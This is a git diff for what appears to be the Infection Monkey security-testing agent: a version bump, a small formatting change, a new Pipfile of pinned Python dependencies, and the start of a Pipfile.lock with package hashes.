-MINOR = "10" +MINOR = "11" PATCH = "0" build_file_path = Path(__file__).parent.joinpath("BUILD") with open(build_file_path, "r") as build_file: @@ -16,10 +17,12 @@ def get_version(build=BUILD): def print_version(): parser = argparse.ArgumentParser() - parser.add_argument("-b", "--build", default=BUILD, help="Choose the build string for this version.", type=str) + parser.add_argument( + "-b", "--build", default=BUILD, help="Choose the build string for this version.", type=str + ) args = parser.parse_args() print(get_version(args.build)) -if __name__ == '__main__': +if __name__ == "__main__": print_version() diff --git a/monkey/infection_monkey/Pipfile b/monkey/infection_monkey/Pipfile new file mode 100644 index 000000000..6bf9f2814 --- /dev/null +++ b/monkey/infection_monkey/Pipfile @@ -0,0 +1,36 @@ +[[source]] +url = "https://pypi.org/simple" +verify_ssl = true +name = "pypi" + +[packages] +altgraph = "*" +cryptography = "==2.5" # We can't build 32bit ubuntu12 binary with newer versions of cryptography +cffi = ">=1.14" +ecdsa = "==0.15" +pyinstaller = {git = "git://github.com/guardicore/pyinstaller"} +pyinstaller-hooks-contrib = "==2021.1" +impacket = ">=0.9" +importlib-metadata = "==4.0.1" +ipaddress = ">=1.0.23" +netifaces = ">=0.10.9" +odict = "==1.7.0" +paramiko = ">=2.7.1" +psutil = ">=5.7.0" +pycryptodome = "==3.9.8" +pyftpdlib = "==1.5.6" +pymssql = "==2.1.5" +pypykatz = "==0.3.12" +pysmb = "==1.2.5" +requests = ">=2.24" +urllib3 = "==1.25.8" +simplejson = "*" +"WinSys-3.x" = ">=0.5.2" +WMI = {version = "==1.5.1", sys_platform = "== 'win32'"} +ScoutSuite = {git = "git://github.com/guardicode/ScoutSuite"} +pyopenssl = "==19.0.0" # We can't build 32bit ubuntu12 binary with newer versions of pyopenssl + +[dev-packages] + +[requires] +python_version = "3.7" diff --git a/monkey/infection_monkey/Pipfile.lock b/monkey/infection_monkey/Pipfile.lock new file mode 100644 index 000000000..eb7c6fb2b --- /dev/null +++ b/monkey/infection_monkey/Pipfile.lock @@ -0,0 +1,955 @@ +{ + "_meta": { + "hash": { + "sha256": "1c464331fa9697084cb9fac3a2f6cf5fca45fa63c528928318f1031acd0f5eff" + }, + "pipfile-spec": 6, + "requires": { + "python_version": "3.7" + }, + "sources": [ + { + "name": "pypi", + "url": "https://pypi.org/simple", + "verify_ssl": true + } + ] + }, + "default": { + "aiowinreg": { + "hashes": [ + "sha256:096663ec3db35fdc7ccc1c2d0d64a11cf64f4baa48955088e42b6a649ce418a5", + "sha256:2947556c73975f51fd8154e7242f36a508cd4eaca5f919c06916cb0e331a0733" + ], + "markers": "python_version >= '3.6'", + "version": "==0.0.5" + }, + "altgraph": { + "hashes": [ + "sha256:1f05a47122542f97028caf78775a095fbe6a2699b5089de8477eb583167d69aa", + "sha256:c623e5f3408ca61d4016f23a681b9adb100802ca3e3da5e718915a9e4052cebe" + ], + "index": "pypi", + "version": "==0.17" + }, + "asn1crypto": { + "hashes": [ + "sha256:4bcdf33c861c7d40bdcd74d8e4dd7661aac320fcdf40b9a3f95b4ee12fde2fa8", + "sha256:f4f6e119474e58e04a2b1af817eb585b4fd72bdd89b998624712b5c99be7641c" + ], + "version": "==1.4.0" + }, + "asyncio-throttle": { + "hashes": [ + "sha256:a01a56f3671e961253cf262918f3e0741e222fc50d57d981ba5c801f284eccfe" + ], + "markers": "python_version >= '3.5'", + "version": "==0.1.1" + }, + "asysocks": { + "hashes": [ + "sha256:6dc794b3ce4a254472d9c234ddda9341f8b9893dbd4254318be8897b491e66a6", + "sha256:ec4cd200b009731f013475f8e0579e8923d17137bd5051d743822848ac4c53cc" + ], + "markers": "python_version >= '3.6'", + "version": "==0.1.1" + }, + "bcrypt": { + "hashes": [ + "sha256:5b93c1726e50a93a033c36e5ca7fdcd29a5c7395af50a6892f5d9e7c6cfbfb29", + "sha256:63d4e3ff96188e5898779b6057878fecf3f11cfe6ec3b313ea09955d587ec7a7", + "sha256:81fec756feff5b6818ea7ab031205e1d323d8943d237303baca2c5f9c7846f34", + "sha256:a67fb841b35c28a59cebed05fbd3e80eea26e6d75851f0574a9273c80f3e9b55", + "sha256:c95d4cbebffafcdd28bd28bb4e25b31c50f6da605c81ffd9ad8a3d1b2ab7b1b6", + "sha256:cd1ea2ff3038509ea95f687256c46b79f5fc382ad0aa3664d200047546d511d1", + "sha256:cdcdcb3972027f83fe24a48b1e90ea4b584d35f1cc279d76de6fc4b13376239d" + ], + "markers": "python_version >= '3.6'", + "version": "==3.2.0" + }, + "boto3": { + "hashes": [ + "sha256:0ab5afc51461c30f27aebef944211d16f47697b98ff8d2e2f6e49e59584853bb", + "sha256:77ea9ff6ce1d4a64839c358a713be80256584f478289a13562d1e0c1b9c362cc" + ], + "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3, 3.4, 3.5'", + "version": "==1.17.97" + }, + "botocore": { + "hashes": [ + "sha256:000cf4a3670ab47e14ddb5bd68fe050c6136029a478cf0b18a78779897d4175c", + "sha256:f7e119cf3e0f4a36100f0e983583afa91a84fb27c479a1716820aee4f2e190ab" + ], + "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3, 3.4, 3.5'", + "version": "==1.20.97" + }, + "certifi": { + "hashes": [ + "sha256:2bbf76fd432960138b3ef6dda3dde0544f27cbf8546c458e60baf371917ba9ee", + "sha256:50b1e4f8446b06f41be7dd6338db18e0990601dce795c2b1686458aa7e8fa7d8" + ], + "version": "==2021.5.30" + }, + "cffi": { + "hashes": [ + "sha256:005a36f41773e148deac64b08f233873a4d0c18b053d37da83f6af4d9087b813", + "sha256:04c468b622ed31d408fea2346bec5bbffba2cc44226302a0de1ade9f5ea3d373", + "sha256:06d7cd1abac2ffd92e65c0609661866709b4b2d82dd15f611e602b9b188b0b69", + "sha256:06db6321b7a68b2bd6df96d08a5adadc1fa0e8f419226e25b2a5fbf6ccc7350f", + "sha256:0857f0ae312d855239a55c81ef453ee8fd24136eaba8e87a2eceba644c0d4c06", + "sha256:0f861a89e0043afec2a51fd177a567005847973be86f709bbb044d7f42fc4e05", + "sha256:1071534bbbf8cbb31b498d5d9db0f274f2f7a865adca4ae429e147ba40f73dea", + "sha256:158d0d15119b4b7ff6b926536763dc0714313aa59e320ddf787502c70c4d4bee", + "sha256:1bf1ac1984eaa7675ca8d5745a8cb87ef7abecb5592178406e55858d411eadc0", + "sha256:1f436816fc868b098b0d63b8920de7d208c90a67212546d02f84fe78a9c26396", + "sha256:24a570cd11895b60829e941f2613a4f79df1a27344cbbb82164ef2e0116f09c7", + "sha256:24ec4ff2c5c0c8f9c6b87d5bb53555bf267e1e6f70e52e5a9740d32861d36b6f", + "sha256:2894f2df484ff56d717bead0a5c2abb6b9d2bf26d6960c4604d5c48bbc30ee73", + "sha256:29314480e958fd8aab22e4a58b355b629c59bf5f2ac2492b61e3dc06d8c7a315", + "sha256:293e7ea41280cb28c6fcaaa0b1aa1f533b8ce060b9e701d78511e1e6c4a1de76", + "sha256:34eff4b97f3d982fb93e2831e6750127d1355a923ebaeeb565407b3d2f8d41a1", + "sha256:35f27e6eb43380fa080dccf676dece30bef72e4a67617ffda586641cd4508d49", + "sha256:3c3f39fa737542161d8b0d680df2ec249334cd70a8f420f71c9304bd83c3cbed", + "sha256:3d3dd4c9e559eb172ecf00a2a7517e97d1e96de2a5e610bd9b68cea3925b4892", + "sha256:43e0b9d9e2c9e5d152946b9c5fe062c151614b262fda2e7b201204de0b99e482", + "sha256:48e1c69bbacfc3d932221851b39d49e81567a4d4aac3b21258d9c24578280058", + "sha256:51182f8927c5af975fece87b1b369f722c570fe169f9880764b1ee3bca8347b5", + "sha256:58e3f59d583d413809d60779492342801d6e82fefb89c86a38e040c16883be53", + "sha256:5de7970188bb46b7bf9858eb6890aad302577a5f6f75091fd7cdd3ef13ef3045", + "sha256:65fa59693c62cf06e45ddbb822165394a288edce9e276647f0046e1ec26920f3", + "sha256:681d07b0d1e3c462dd15585ef5e33cb021321588bebd910124ef4f4fb71aef55", + "sha256:69e395c24fc60aad6bb4fa7e583698ea6cc684648e1ffb7fe85e3c1ca131a7d5", + "sha256:6c97d7350133666fbb5cf4abdc1178c812cb205dc6f41d174a7b0f18fb93337e", + "sha256:6e4714cc64f474e4d6e37cfff31a814b509a35cb17de4fb1999907575684479c", + "sha256:72d8d3ef52c208ee1c7b2e341f7d71c6fd3157138abf1a95166e6165dd5d4369", + "sha256:8ae6299f6c68de06f136f1f9e69458eae58f1dacf10af5c17353eae03aa0d827", + "sha256:8b198cec6c72df5289c05b05b8b0969819783f9418e0409865dac47288d2a053", + "sha256:99cd03ae7988a93dd00bcd9d0b75e1f6c426063d6f03d2f90b89e29b25b82dfa", + "sha256:9cf8022fb8d07a97c178b02327b284521c7708d7c71a9c9c355c178ac4bbd3d4", + "sha256:9de2e279153a443c656f2defd67769e6d1e4163952b3c622dcea5b08a6405322", + "sha256:9e93e79c2551ff263400e1e4be085a1210e12073a31c2011dbbda14bda0c6132", + "sha256:9ff227395193126d82e60319a673a037d5de84633f11279e336f9c0f189ecc62", + "sha256:a465da611f6fa124963b91bf432d960a555563efe4ed1cc403ba5077b15370aa", + "sha256:ad17025d226ee5beec591b52800c11680fca3df50b8b29fe51d882576e039ee0", + "sha256:afb29c1ba2e5a3736f1c301d9d0abe3ec8b86957d04ddfa9d7a6a42b9367e396", + "sha256:b85eb46a81787c50650f2392b9b4ef23e1f126313b9e0e9013b35c15e4288e2e", + "sha256:bb89f306e5da99f4d922728ddcd6f7fcebb3241fc40edebcb7284d7514741991", + "sha256:cbde590d4faaa07c72bf979734738f328d239913ba3e043b1e98fe9a39f8b2b6", + "sha256:cc5a8e069b9ebfa22e26d0e6b97d6f9781302fe7f4f2b8776c3e1daea35f1adc", + "sha256:cd2868886d547469123fadc46eac7ea5253ea7fcb139f12e1dfc2bbd406427d1", + "sha256:d42b11d692e11b6634f7613ad8df5d6d5f8875f5d48939520d351007b3c13406", + "sha256:df5052c5d867c1ea0b311fb7c3cd28b19df469c056f7fdcfe88c7473aa63e333", + "sha256:f2d45f97ab6bb54753eab54fffe75aaf3de4ff2341c9daee1987ee1837636f1d", + "sha256:fd78e5fee591709f32ef6edb9a015b4aa1a5022598e36227500c8f4e02328d9c" + ], + "index": "pypi", + "version": "==1.14.5" + }, + "chardet": { + "hashes": [ + "sha256:0d6f53a15db4120f2b08c94f11e7d93d2c911ee118b6b30a04ec3ee8310179fa", + "sha256:f864054d66fd9118f2e67044ac8981a54775ec5b67aed0441892edb553d21da5" + ], + "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3, 3.4'", + "version": "==4.0.0" + }, + "cheroot": { + "hashes": [ + "sha256:7ba11294a83468a27be6f06066df8a0f17d954ad05945f28d228aa3f4cd1b03c", + "sha256:f137d03fd5155b1364bea557a7c98168665c239f6c8cedd8f80e81cdfac01567" + ], + "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3'", + "version": "==8.5.2" + }, + "cherrypy": { + "hashes": [ + "sha256:56608edd831ad00991ae585625e0206ed61cf1a0850e4b2cc48489fb2308c499", + "sha256:c0a7283f02a384c112a0a18404fd3abd849fc7fd4bec19378067150a2573d2e4" + ], + "markers": "python_version >= '3.5'", + "version": "==18.6.0" + }, + "cherrypy-cors": { + "hashes": [ + "sha256:eb512e20fa9e478abd1868b1417814a4e9240ed0c403472a2c624460e49ab0d5", + "sha256:f7fb75f6e617ce29c9ec3fdd8b1ff6ec64fec2c56371182525e22bcf4c180513" + ], + "markers": "python_version >= '2.7'", + "version": "==1.6" + }, + "click": { + "hashes": [ + "sha256:8c04c11192119b1ef78ea049e0a6f0463e4c48ef00a30160c704337586f3ad7a", + "sha256:fba402a4a47334742d782209a7c79bc448911afe1149d07bdabdf480b3e2f4b6" + ], + "markers": "python_version >= '3.6'", + "version": "==8.0.1" + }, + "coloredlogs": { + "hashes": [ + "sha256:34fad2e342d5a559c31b6c889e8d14f97cb62c47d9a2ae7b5ed14ea10a79eff8", + "sha256:b869a2dda3fa88154b9dd850e27828d8755bfab5a838a1c97fbc850c6e377c36" + ], + "version": "==10.0" + }, + "cryptography": { + "hashes": [ + "sha256:05b3ded5e88747d28ee3ef493f2b92cbb947c1e45cf98cfef22e6d38bb67d4af", + "sha256:06826e7f72d1770e186e9c90e76b4f84d90cdb917b47ff88d8dc59a7b10e2b1e", + "sha256:08b753df3672b7066e74376f42ce8fc4683e4fd1358d34c80f502e939ee944d2", + "sha256:2cd29bd1911782baaee890544c653bb03ec7d95ebeb144d714b0f5c33deb55c7", + "sha256:31e5637e9036d966824edaa91bf0aa39dc6f525a1c599f39fd5c50340264e079", + "sha256:42fad67d7072216a49e34f923d8cbda9edacbf6633b19a79655e88a1b4857063", + "sha256:4946b67235b9d2ea7d31307be9d5ad5959d6c4a8f98f900157b47abddf698401", + "sha256:522fdb2809603ee97a4d0ef2f8d617bc791eb483313ba307cb9c0a773e5e5695", + "sha256:6f841c7272645dd7c65b07b7108adfa8af0aaea57f27b7f59e01d41f75444c85", + "sha256:7d335e35306af5b9bc0560ca39f740dfc8def72749645e193dd35be11fb323b3", + "sha256:8504661ffe324837f5c4607347eeee4cf0fcad689163c6e9c8d3b18cf1f4a4ad", + "sha256:9260b201ce584d7825d900c88700aa0bd6b40d4ebac7b213857bd2babee9dbca", + "sha256:9a30384cc402eac099210ab9b8801b2ae21e591831253883decdb4513b77a3cd", + "sha256:9e29af877c29338f0cab5f049ccc8bd3ead289a557f144376c4fbc7d1b98914f", + "sha256:ab50da871bc109b2d9389259aac269dd1b7c7413ee02d06fe4e486ed26882159", + "sha256:b13c80b877e73bcb6f012813c6f4a9334fcf4b0e96681c5a15dac578f2eedfa0", + "sha256:bfe66b577a7118e05b04141f0f1ed0959552d45672aa7ecb3d91e319d846001e", + "sha256:e091bd424567efa4b9d94287a952597c05d22155a13716bf5f9f746b9dc906d3", + "sha256:fa2b38c8519c5a3aa6e2b4e1cf1a549b54acda6adb25397ff542068e73d1ed00" + ], + "index": "pypi", + "version": "==2.5" + }, + "dnspython": { + "hashes": [ + "sha256:95d12f6ef0317118d2a1a6fc49aac65ffec7eb8087474158f42f26a639135216", + "sha256:e4a87f0b573201a0f3727fa18a516b055fd1107e0e5477cded4a2de497df1dd4" + ], + "markers": "python_version >= '3.6'", + "version": "==2.1.0" + }, + "ecdsa": { + "hashes": [ + "sha256:867ec9cf6df0b03addc8ef66b56359643cb5d0c1dc329df76ba7ecfe256c8061", + "sha256:8f12ac317f8a1318efa75757ef0a651abe12e51fc1af8838fb91079445227277" + ], + "index": "pypi", + "version": "==0.15" + }, + "flask": { + "hashes": [ + "sha256:1c4c257b1892aec1398784c63791cbaa43062f1f7aeb555c4da961b20ee68f55", + "sha256:a6209ca15eb63fc9385f38e452704113d679511d9574d09b2cf9183ae7d20dc9" + ], + "markers": "python_version >= '3.6'", + "version": "==2.0.1" + }, + "future": { + "hashes": [ + "sha256:b1bead90b70cf6ec3f0710ae53a525360fa360d306a86583adc6bf83a4db537d" + ], + "markers": "python_version >= '2.6' and python_version not in '3.0, 3.1, 3.2, 3.3'", + "version": "==0.18.2" + }, + "httpagentparser": { + "hashes": [ + "sha256:ef763d31993dd761825acee6c8b34be32b95cf1675d1c73c3cd35f9e52831b26" + ], + "version": "==1.9.1" + }, + "humanfriendly": { + "hashes": [ + "sha256:332da98c24cc150efcc91b5508b19115209272bfdf4b0764a56795932f854271", + "sha256:f7dba53ac7935fd0b4a2fc9a29e316ddd9ea135fb3052d3d0279d10c18ff9c48" + ], + "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3, 3.4'", + "version": "==9.2" + }, + "idna": { + "hashes": [ + "sha256:b307872f855b18632ce0c21c5e45be78c0ea7ae4c15c828c20788b26921eb3f6", + "sha256:b97d804b1e9b523befed77c48dacec60e6dcb0b5391d57af6a65a312a90648c0" + ], + "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3'", + "version": "==2.10" + }, + "impacket": { + "hashes": [ + "sha256:1c1be8a50cdbe3cffc566ba64f552b1b28bcc79b7a406b833956b49c56d77184" + ], + "index": "pypi", + "version": "==0.9.23" + }, + "importlib-metadata": { + "hashes": [ + "sha256:8c501196e49fb9df5df43833bdb1e4328f64847763ec8a50703148b73784d581", + "sha256:d7eb1dea6d6a6086f8be21784cc9e3bcfa55872b52309bc5fad53a8ea444465d" + ], + "index": "pypi", + "version": "==4.0.1" + }, + "ipaddress": { + "hashes": [ + "sha256:6e0f4a39e66cb5bb9a137b00276a2eff74f93b71dcbdad6f10ff7df9d3557fcc", + "sha256:b7f8e0369580bb4a24d5ba1d7cc29660a4a6987763faf1d8a8046830e020e7e2" + ], + "index": "pypi", + "version": "==1.0.23" + }, + "itsdangerous": { + "hashes": [ + "sha256:5174094b9637652bdb841a3029700391451bd092ba3db90600dea710ba28e97c", + "sha256:9e724d68fc22902a1435351f84c3fb8623f303fffcc566a4cb952df8c572cff0" + ], + "markers": "python_version >= '3.6'", + "version": "==2.0.1" + }, + "jaraco.classes": { + "hashes": [ + "sha256:22ac35313cf4b145bf7b217cc51be2d98a3d2db1c8558a30ca259d9f0b9c0b7d", + "sha256:ed54b728af1937dc16b7236fbaf34ba561ba1ace572b03fffa5486ed363ecf34" + ], + "markers": "python_version >= '3.6'", + "version": "==3.2.1" + }, + "jaraco.collections": { + "hashes": [ + "sha256:3662267424b55f10bf15b6f5dee6a6e48a2865c0ec50cc7a16040c81c55a98dc", + "sha256:fa45052d859a7c28aeef846abb5857b525a1b9ec17bd4118b78e43a222c5a2f1" + ], + "markers": "python_version >= '3.6'", + "version": "==3.3.0" + }, + "jaraco.functools": { + "hashes": [ + "sha256:7c788376d69cf41da675b186c85366fe9ac23c92a70697c455ef9135c25edf31", + "sha256:bfcf7da71e2a0e980189b0744b59dba6c1dcf66dcd7a30f8a4413e478046b314" + ], + "markers": "python_version >= '3.6'", + "version": "==3.3.0" + }, + "jaraco.text": { + "hashes": [ + "sha256:b647f2bf912e201bfefd01d691bf5d603a94f2b3f998129e4fea595873a25613", + "sha256:f07f1076814a17a98eb915948b9a0dc71b1891c833588066ec1feb04ea4389b1" + ], + "markers": "python_version >= '3.6'", + "version": "==3.5.0" + }, + "jinja2": { + "hashes": [ + "sha256:1f06f2da51e7b56b8f238affdd6b4e2c61e39598a378cc49345bc1bd42a978a4", + "sha256:703f484b47a6af502e743c9122595cc812b0271f661722403114f71a79d0f5a4" + ], + "markers": "python_version >= '3.6'", + "version": "==3.0.1" + }, + "jmespath": { + "hashes": [ + "sha256:b85d0567b8666149a93172712e68920734333c0ce7e89b78b3e987f71e5ed4f9", + "sha256:cdf6525904cc597730141d61b36f2e4b8ecc257c420fa2f4549bac2c2d0cb72f" + ], + "markers": "python_version >= '2.6' and python_version not in '3.0, 3.1, 3.2, 3.3'", + "version": "==0.10.0" + }, + "ldap3": { + "hashes": [ + "sha256:18c3ee656a6775b9b0d60f7c6c5b094d878d1d90fc03d56731039f0a4b546a91", + "sha256:4139c91f0eef9782df7b77c8cbc6243086affcb6a8a249b768a9658438e5da59", + "sha256:8c949edbad2be8a03e719ba48bd6779f327ec156929562814b3e84ab56889c8c", + "sha256:afc6fc0d01f02af82cd7bfabd3bbfd5dc96a6ae91e97db0a2dab8a0f1b436056", + "sha256:c1df41d89459be6f304e0ceec4b00fdea533dbbcd83c802b1272dcdb94620b57" + ], + "version": "==2.9" + }, + "ldapdomaindump": { + "hashes": [ + "sha256:4cb2831d9cc920b93f669946649dbc55fe85ba7fdc1461d1f3394094016dad31", + "sha256:72731b83ae33b36a0599e2e7b52f0464408032bd37211ffc76b924fc79ff9834", + "sha256:ec293973209302eb6d925c3cde6b10693c15443933d1884bc4495d4a19d29181" + ], + "version": "==0.9.3" + }, + "markupsafe": { + "hashes": [ + "sha256:01a9b8ea66f1658938f65b93a85ebe8bc016e6769611be228d797c9d998dd298", + "sha256:023cb26ec21ece8dc3907c0e8320058b2e0cb3c55cf9564da612bc325bed5e64", + "sha256:0446679737af14f45767963a1a9ef7620189912317d095f2d9ffa183a4d25d2b", + "sha256:0717a7390a68be14b8c793ba258e075c6f4ca819f15edfc2a3a027c823718567", + "sha256:0955295dd5eec6cb6cc2fe1698f4c6d84af2e92de33fbcac4111913cd100a6ff", + "sha256:10f82115e21dc0dfec9ab5c0223652f7197feb168c940f3ef61563fc2d6beb74", + "sha256:1d609f577dc6e1aa17d746f8bd3c31aa4d258f4070d61b2aa5c4166c1539de35", + "sha256:2ef54abee730b502252bcdf31b10dacb0a416229b72c18b19e24a4509f273d26", + "sha256:3c112550557578c26af18a1ccc9e090bfe03832ae994343cfdacd287db6a6ae7", + "sha256:47ab1e7b91c098ab893b828deafa1203de86d0bc6ab587b160f78fe6c4011f75", + "sha256:49e3ceeabbfb9d66c3aef5af3a60cc43b85c33df25ce03d0031a608b0a8b2e3f", + "sha256:4efca8f86c54b22348a5467704e3fec767b2db12fc39c6d963168ab1d3fc9135", + "sha256:53edb4da6925ad13c07b6d26c2a852bd81e364f95301c66e930ab2aef5b5ddd8", + "sha256:594c67807fb16238b30c44bdf74f36c02cdf22d1c8cda91ef8a0ed8dabf5620a", + "sha256:611d1ad9a4288cf3e3c16014564df047fe08410e628f89805e475368bd304914", + "sha256:6557b31b5e2c9ddf0de32a691f2312a32f77cd7681d8af66c2692efdbef84c18", + "sha256:693ce3f9e70a6cf7d2fb9e6c9d8b204b6b39897a2c4a1aa65728d5ac97dcc1d8", + "sha256:6a7fae0dd14cf60ad5ff42baa2e95727c3d81ded453457771d02b7d2b3f9c0c2", + "sha256:6c4ca60fa24e85fe25b912b01e62cb969d69a23a5d5867682dd3e80b5b02581d", + "sha256:7d91275b0245b1da4d4cfa07e0faedd5b0812efc15b702576d103293e252af1b", + "sha256:905fec760bd2fa1388bb5b489ee8ee5f7291d692638ea5f67982d968366bef9f", + "sha256:97383d78eb34da7e1fa37dd273c20ad4320929af65d156e35a5e2d89566d9dfb", + "sha256:984d76483eb32f1bcb536dc27e4ad56bba4baa70be32fa87152832cdd9db0833", + "sha256:a30e67a65b53ea0a5e62fe23682cfe22712e01f453b95233b25502f7c61cb415", + "sha256:ab3ef638ace319fa26553db0624c4699e31a28bb2a835c5faca8f8acf6a5a902", + "sha256:b2f4bf27480f5e5e8ce285a8c8fd176c0b03e93dcc6646477d4630e83440c6a9", + "sha256:b7f2d075102dc8c794cbde1947378051c4e5180d52d276987b8d28a3bd58c17d", + "sha256:be98f628055368795d818ebf93da628541e10b75b41c559fdf36d104c5787066", + "sha256:d7f9850398e85aba693bb640262d3611788b1f29a79f0c93c565694658f4071f", + "sha256:f5653a225f31e113b152e56f154ccbe59eeb1c7487b39b9d9f9cdb58e6c79dc5", + "sha256:f826e31d18b516f653fe296d967d700fddad5901ae07c622bb3705955e1faa94", + "sha256:f8ba0e8349a38d3001fae7eadded3f6606f0da5d748ee53cc1dab1d6527b9509", + "sha256:f9081981fe268bd86831e5c75f7de206ef275defcb82bc70740ae6dc507aee51", + "sha256:fa130dd50c57d53368c9d59395cb5526eda596d3ffe36666cd81a44d56e48872" + ], + "markers": "python_version >= '3.6'", + "version": "==2.0.1" + }, + "minidump": { + "hashes": [ + "sha256:7f341d62b5a6ea961d6230e35c2cb68c5b1d258403411b6e4c58aa0c317cf498", + "sha256:b9fe0a65cf42d60591807bb8b6d9357e92f6a46f2851befdbaf08894722d07ff" + ], + "markers": "python_version >= '3.6'", + "version": "==0.0.18" + }, + "minikerberos": { + "hashes": [ + "sha256:30d0fbaf81a4c7d46710c80497ad905c562bd4d125a22850d87794f61ca1b31f", + "sha256:ef64434457cf1c89d8f5d6ae91748775ac8adfa917ddc21d12838d3c43e6e979" + ], + "markers": "python_version >= '3.6'", + "version": "==0.2.14" + }, + "more-itertools": { + "hashes": [ + "sha256:2cf89ec599962f2ddc4d568a05defc40e0a587fbc10d5989713638864c36be4d", + "sha256:83f0308e05477c68f56ea3a888172c78ed5d5b3c282addb67508e7ba6c8f813a" + ], + "markers": "python_version >= '3.5'", + "version": "==8.8.0" + }, + "msldap": { + "hashes": [ + "sha256:37e1b1044792595ca78fc14402baf84922e0a3838b36534ecd5a75cdd81e74ee", + "sha256:7d7f96d41ab8174ffa0f2c56780eb3be8b3015009d0e94a4dbd83b9ead5c6181" + ], + "markers": "python_version >= '3.7'", + "version": "==0.3.30" + }, + "netaddr": { + "hashes": [ + "sha256:9666d0232c32d2656e5e5f8d735f58fd6c7457ce52fc21c98d45f2af78f990ac", + "sha256:d6cc57c7a07b1d9d2e917aa8b36ae8ce61c35ba3fcd1b83ca31c5a0ee2b5a243" + ], + "version": "==0.8.0" + }, + "netifaces": { + "hashes": [ + "sha256:078986caf4d6a602a4257d3686afe4544ea74362b8928e9f4389b5cd262bc215", + "sha256:0c4304c6d5b33fbd9b20fdc369f3a2fef1a8bbacfb6fd05b9708db01333e9e7b", + "sha256:2dee9ffdd16292878336a58d04a20f0ffe95555465fee7c9bd23b3490ef2abf3", + "sha256:3095218b66d359092b82f07c5422293c2f6559cf8d36b96b379cc4cdc26eeffa", + "sha256:30ed89ab8aff715caf9a9d827aa69cd02ad9f6b1896fd3fb4beb998466ed9a3c", + "sha256:4921ed406386246b84465950d15a4f63480c1458b0979c272364054b29d73084", + "sha256:563a1a366ee0fb3d96caab79b7ac7abd2c0a0577b157cc5a40301373a0501f89", + "sha256:5b3167f923f67924b356c1338eb9ba275b2ba8d64c7c2c47cf5b5db49d574994", + "sha256:6d84e50ec28e5d766c9911dce945412dc5b1ce760757c224c71e1a9759fa80c2", + "sha256:755050799b5d5aedb1396046f270abfc4befca9ccba3074f3dbbb3cb34f13aae", + "sha256:75d3a4ec5035db7478520ac547f7c176e9fd438269e795819b67223c486e5cbe", + "sha256:7a25a8e28281504f0e23e181d7a9ed699c72f061ca6bdfcd96c423c2a89e75fc", + "sha256:7cc6fd1eca65be588f001005446a47981cbe0b2909f5be8feafef3bf351a4e24", + "sha256:86b8a140e891bb23c8b9cb1804f1475eb13eea3dbbebef01fcbbf10fbafbee42", + "sha256:ad10acab2ef691eb29a1cc52c3be5ad1423700e993cc035066049fa72999d0dc", + "sha256:b2ff3a0a4f991d2da5376efd3365064a43909877e9fabfa801df970771161d29", + "sha256:b47e8f9ff6846756be3dc3fb242ca8e86752cd35a08e06d54ffc2e2a2aca70ea", + "sha256:da298241d87bcf468aa0f0705ba14572ad296f24c4fda5055d6988701d6fd8e1", + "sha256:db881478f1170c6dd524175ba1c83b99d3a6f992a35eca756de0ddc4690a1940", + "sha256:f0427755c68571df37dc58835e53a4307884a48dec76f3c01e33eb0d4a3a81d7", + "sha256:f8885cc48c8c7ad51f36c175e462840f163cb4687eeb6c6d7dfaf7197308e36b", + "sha256:f911b7f0083d445c8d24cfa5b42ad4996e33250400492080f5018a28c026db2b" + ], + "index": "pypi", + "version": "==0.10.9" + }, + "odict": { + "hashes": [ + "sha256:40ccbe7dbabb352bf857bffcce9b4079785c6d3a59ca591e8ab456678173c106" + ], + "index": "pypi", + "version": "==1.7.0" + }, + "oscrypto": { + "hashes": [ + "sha256:7d2cca6235d89d1af6eb9cfcd4d2c0cb405849868157b2f7b278beb644d48694", + "sha256:988087e05b17df8bfcc7c5fac51f54595e46d3e4dffa7b3d15955cf61a633529" + ], + "version": "==1.2.1" + }, + "paramiko": { + "hashes": [ + "sha256:4f3e316fef2ac628b05097a637af35685183111d4bc1b5979bd397c2ab7b5898", + "sha256:7f36f4ba2c0d81d219f4595e35f70d56cc94f9ac40a6acdf51d6ca210ce65035" + ], + "index": "pypi", + "version": "==2.7.2" + }, + "policyuniverse": { + "hashes": [ + "sha256:0079e4963d616b4a865d047810fe146bfc473ea2f2eb41436993af54d6a7cf10", + "sha256:2af34cfac99cb440ac6dc18995d80973be599ca70c228c3a99fff2b1f5feee90" + ], + "version": "==1.3.7.20210615" + }, + "portend": { + "hashes": [ + "sha256:986ed9a278e64a87b5b5f4c21e61c25bebdce9919a92238d9c14c37a7416482b", + "sha256:add53a9e65d4022885f97de7895da583d0ed57df3eadb0b4d2ada594268cc0e6" + ], + "markers": "python_version >= '3.6'", + "version": "==2.7.1" + }, + "prompt-toolkit": { + "hashes": [ + "sha256:08360ee3a3148bdb5163621709ee322ec34fc4375099afa4bbf751e9b7b7fa4f", + "sha256:7089d8d2938043508aa9420ec18ce0922885304cddae87fb96eebca942299f88" + ], + "markers": "python_full_version >= '3.6.1'", + "version": "==3.0.19" + }, + "psutil": { + "hashes": [ + "sha256:0066a82f7b1b37d334e68697faba68e5ad5e858279fd6351c8ca6024e8d6ba64", + "sha256:02b8292609b1f7fcb34173b25e48d0da8667bc85f81d7476584d889c6e0f2131", + "sha256:0ae6f386d8d297177fd288be6e8d1afc05966878704dad9847719650e44fc49c", + "sha256:0c9ccb99ab76025f2f0bbecf341d4656e9c1351db8cc8a03ccd62e318ab4b5c6", + "sha256:0dd4465a039d343925cdc29023bb6960ccf4e74a65ad53e768403746a9207023", + "sha256:12d844996d6c2b1d3881cfa6fa201fd635971869a9da945cf6756105af73d2df", + "sha256:1bff0d07e76114ec24ee32e7f7f8d0c4b0514b3fae93e3d2aaafd65d22502394", + "sha256:245b5509968ac0bd179287d91210cd3f37add77dad385ef238b275bad35fa1c4", + "sha256:28ff7c95293ae74bf1ca1a79e8805fcde005c18a122ca983abf676ea3466362b", + "sha256:36b3b6c9e2a34b7d7fbae330a85bf72c30b1c827a4366a07443fc4b6270449e2", + "sha256:52de075468cd394ac98c66f9ca33b2f54ae1d9bff1ef6b67a212ee8f639ec06d", + "sha256:5da29e394bdedd9144c7331192e20c1f79283fb03b06e6abd3a8ae45ffecee65", + 